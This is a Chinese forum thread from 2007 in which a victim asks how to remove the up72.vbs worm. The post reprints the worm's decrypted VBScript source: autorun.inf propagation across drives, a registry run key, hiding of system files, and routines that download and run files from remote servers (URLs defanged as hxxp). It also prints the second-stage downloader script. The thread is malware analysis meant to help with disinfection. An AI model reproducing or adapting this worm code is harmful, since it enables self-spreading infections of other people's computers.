1   1  /  1  页   跳转

【讨论】up72.vbs蠕虫病毒

【讨论】up72.vbs蠕虫病毒

最近中了这个病毒,求高手们伸伸手,指点一下怎么杀掉吧,愁死了。。
开机之后不停地自动运行system文件夹下的upto721.vbs,直到把系统资源占尽。

解密之后的代码转自:
http://www.0ginr.com/bbs/viewthread.php?tid=811
ver="4.0"
tile="daxian"&ver
about="daxianbiyeliunian 2007.8.1"
fromurl=chr(104)&chr(116)&chr(116)&chr(112)&"://"&chr(104)&chr(103)&"z."&chr(100)&"in"&chr(103)&chr(104)&"ui123."&chr(99)&"n/wan."&chr(97)&"s"&chr(112)
on error resume next
dim wsh
dim WshShell
Set Wsh =CreateObject("WScript.Shell")
set WshShell=Wscript.CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
set dir = FSO.GetSpecialFolder(1)
Set dc = FSO.Drives
ouwnname=Wscript.ScriptName
mulu=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
if mulu=dir&"\" then sys=true
For Each d In dc
if mulu=d&"\" then opendisk=WshShell.Run("explorer "&d,3,false)
Next
if not sys=true then
wscript.sleep 2000
set y=getobject("winmgmts:\\.\root\cimv2")
set x=y.execquery("select * from win32_process where name='wscript.exe'") 
i=0
for each j in x 
i=i+1
next 
if i>1 then wscript.quit
end if
yincang
if readtxt(mulu&"autorun.inf",1)<>tile then
buildinf ver,now,ouwnname
end If
copyexe=readtxt(mulu&"autorun.inf",5)&".exe"
randomize
sjs=int(Rnd * (10-1+1)) + 1
If fso.FileExists(mulu©exe) and sjs<>3 then
if sys=true then WshShell.run mulu©exe
Else
if left((readtxt("c:\date.bin",1)),9)<>left(now,9) then
shuxing "c:\date.bin",0
set bin = fso.CreateTextFile("c:\date.bin", True)
bin.writeline now
bin.close
shuxing "c:\date.bin",2+4
Ldownver=readtxt(mulu&"autorun.inf",5)
downfile mulu&"temp.txt",fromurl,0
Set OpenFile = FSO.OpenTextFile(mulu&"temp.txt", 1) 
nouse = OpenFile.ReadLine
downis = OpenFile.ReadLine
downver = OpenFile.ReadLine
downname = downver&".exe"
downfrom = OpenFile.ReadLine
vbsver = OpenFile.ReadLine
vbsname = OpenFile.ReadLine
vbsurl = OpenFile.ReadLine
guanggao= OpenFile.ReadLine
OpenFile.Close 
FSO.DeleteFile(mulu&"temp.txt")
if downis=1 then
If vbsver<>ver then
downfile mulu&vbsname,vbsurl,1
wscript.quit
end if
If downver<>Ldownver or not fso.FileExists(mulu©exe) then
shuxing mulu©exe,0
If fso.FileExists(mulu©exe) then FSO.DeleteFile(mulu©exe)
downfile mulu&downname,downfrom,0
buildinf downver,now,guanggao
copyexe=downname
end if
end if
end if
End If
if sys=true then
If not fso.FileExists(mulu&"`.ini") then
copyvbs dir&"\`.ini"
end if
ganran()
WshShell.run mulu&ouwnname
else
shuxing mulu&ouwnname,2+4
copyvbs dir&"\`.vbe"
copyvbs dir&"\`.ini"
CopyFile mulu&"autorun.inf",dir&"\autorun.inf"
CopyFile mulu©exe,dir&"\"©exe
shuxing dir&"\"©exe,2+4
if mulu<>"C:\" then
copyvbs "c:\`.vbs"
CopyFile mulu&"autorun.inf","c:\autorun.inf"
CopyFile mulu©exe,"c:\"©exe
end if
zhuce
WshShell.run dir&"\`.vbe"
end if
function copyfile(file,where)
shuxing where,0
if fso.FileExists(file) then FSO.CopyFile file,where,True
end function
function copyvbs(where)
shuxing where,0
set self=fso.opentextfile(mulu&ouwnname,1)
vbscopy=self.readall
self.close
set vbs = fso.CreateTextFile(where, True)
vbs.write vbscopy
vbs.close
shuxing where,2+4
end function
function zhuce()
RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\"
Type_Name="REG_SZ"
Key_Name="explorer"
Key_Data="`.vbe"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function yincang()
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"
Type_Name="REG_DWORD"
Key_Name="ShowSuperHidden"
Key_Data="00000000"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function buildinf(exever,exename,adv)
shuxing mulu&"autorun.inf",0
set ini = fso.CreateTextFile(mulu&"autorun.inf", True)
ini.writeline tile
ini.writeline "[AutoRun]"
ini.writeline about
ini.writeline "open=WScript.exe .\`.vbs"
ini.writeline exever
ini.writeline "shell\open=打开(&O)"
ini.writeline exename
ini.writeline "shell\open\Command=WScript.exe .\`.vbs"
ini.writeline "shell\open\Default=1"
ini.writeline adv
ini.close
shuxing mulu&"autorun.inf",1+2+4
end function
function readtxt(where,line)
if fso.FileExists(where) then
Set readfile = fso.OpenTextFile(where, 1) 
i=0
do while i<line
i=i+1
strLine = readfile.ReadLine
loop
readfile.Close
readtxt=strLine
else
readtxt="not_found"
end if
end function
function shuxing(file,change)
if fso.FileExists(file) then
Set oFile = FSO.GetFile(file)
oFile.Attributes = change
Set oFile = Nothing
end if
end function
function downfile(localfile,urlfile,runfile)
shuxing localfile,0
iLocal = LCase(localfile):iRemote = LCase(urlfile):
'if 1=2 then Wscript.echo "Impossible!"
Set xPost = CreateObject("Microsoft.XMLHTTP") 
'if 1=2 then Wscript.echo "Impossible!"
xPost.Open "get",iRemote,0
'if 1=2 then Wscript.echo "Impossible!"
xPost.Send() 
'if 1=2 then Wscript.echo "Impossible!"
Set sGet = CreateObject("ADODB.Stream")
'if 1=2 then Wscript.echo "Impossible!"
sGet.Mode = 3
'if 1=2 then Wscript.echo "Impossible!"
sGet.Type = 1 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Open() 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Write(xPost.responseBody) 
'if 1=2 then Wscript.echo "Impossible!"
sGet.SaveToFile iLocal,2
'if 1=2 then Wscript.echo "Impossible!"
shuxing localfile,2+4
if runfile=1 then Wsh.run iLocal
end function
function ganran()
do
For Each d In dc
If d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
If fso.FileExists(d&"\`.vbs") and fso.FileExists(d&"\autorun.inf") then
if readtxt(d&"\autorun.inf",1)<>tile then
CopyFile dir&"\autorun.inf",d&"\autorun.inf"
CopyFile dir&"\"©exe,d&"\"©exe
CopyFile dir&"\`.ini",d&"\`.vbs"
end if
else
CopyFile dir&"\autorun.inf",d&"\autorun.inf"
CopyFile dir&"\"©exe,d&"\"©exe
CopyFile dir&"\`.ini",d&"\`.vbs"
end if
End If
next
wscript.sleep 2000
loop
end function 

fromurl=chr(104)&chr(116)&chr(116)&chr(112)&"://"&chr(104)&chr(103)&"z."&chr(100)&"in"&chr(103)&chr(104)&"ui123."&chr(99)&"n/wan."&chr(97)&"s"&chr(112)转码之后是hxxp://hgz.dinghui123.cn/wan.asp (hxxp=http)

wan.asp是

<script
1
up72.vbe
hxxp://wq7s.go1.icpcn.com/upto72.vbs
7.2
up72.vbe
hxxp://wq7s.go1.icpcn.com/upto72.vbs
7.2
>
</script>
<script>
location.href = "/";
</script>

(hxxp=http)

upto72.vbs解密之后是:

rem up to 7.2
on error resume next
dim wsh
dim WshShell
Set Wsh =CreateObject("WScript.Shell")
set WshShell=Wscript.CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
set dir = FSO.GetSpecialFolder(1)
ouwnname=Wscript.ScriptName
mulu=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))


advdownfile dir&"\`.vbe","hxxp://wq7s.go1.icpcn.com/7.2.vbs",0,2,8000

FSO.DeleteFile(mulu&ouwnname)


function delfile(where)
If fso.FileExists(where) then
shuxing where,0
FSO.DeleteFile(where)
end if
end function


function zhuce()
RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\"
Type_Name="REG_SZ"
Key_Name="explorer"
Key_Data="`.vbe"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function
function yincang()
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"
Type_Name="REG_DWORD"
Key_Name="ShowSuperHidden"
Key_Data="00000000"
WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function

function shuxing(file,change)
if fso.FileExists(file) then
Set oFile = FSO.GetFile(file)
oFile.Attributes = change
Set oFile = Nothing
end if
end function

function downfile(localfile,urlfile,runfile)
shuxing localfile,0
iLocal = LCase(localfile):iRemote = LCase(urlfile):
'if 1=2 then Wscript.echo "Impossible!"
Set xPost = CreateObject("Microsoft.XMLHTTP") 
'if 1=2 then Wscript.echo "Impossible!"
xPost.Open "get",iRemote,0
'if 1=2 then Wscript.echo "Impossible!"
xPost.Send() 
'if 1=2 then Wscript.echo "Impossible!"
Set sGet = CreateObject("ADODB.Stream")
'if 1=2 then Wscript.echo "Impossible!"
sGet.Mode = 3
'if 1=2 then Wscript.echo "Impossible!"
sGet.Type = 1 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Open() 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Write(xPost.responseBody) 
'if 1=2 then Wscript.echo "Impossible!"
sGet.SaveToFile iLocal,2
'if 1=2 then Wscript.echo "Impossible!"
shuxing localfile,2+4
if runfile=1 then Wsh.run iLocal
end function

function advdownfile(localfile,urlfile,runfile,cishu,minsize)
test=0
do while test<cishu
downfile localfile,urlfile,runfile
if fso.FileExists(localfile) then
filesize=fso.GetFile(localfile).size
else
filesize=0
end if
if filesize>minsize then
zhuce
exit do
else
test=test+1
delfile localfile
wscript.sleep 30000
end if
loop
end function


function copyfile(file,where)
shuxing where,0
if fso.FileExists(file) then FSO.CopyFile file,where,True
end function


[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
最后编辑2007-11-30 12:02:14
分享到:
gototop
 

关于这个病毒的帖子:

【讨论】一VBS病毒过IS和**了,无语...

http://bbs.pediy.com/showthread.php?t=53468
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT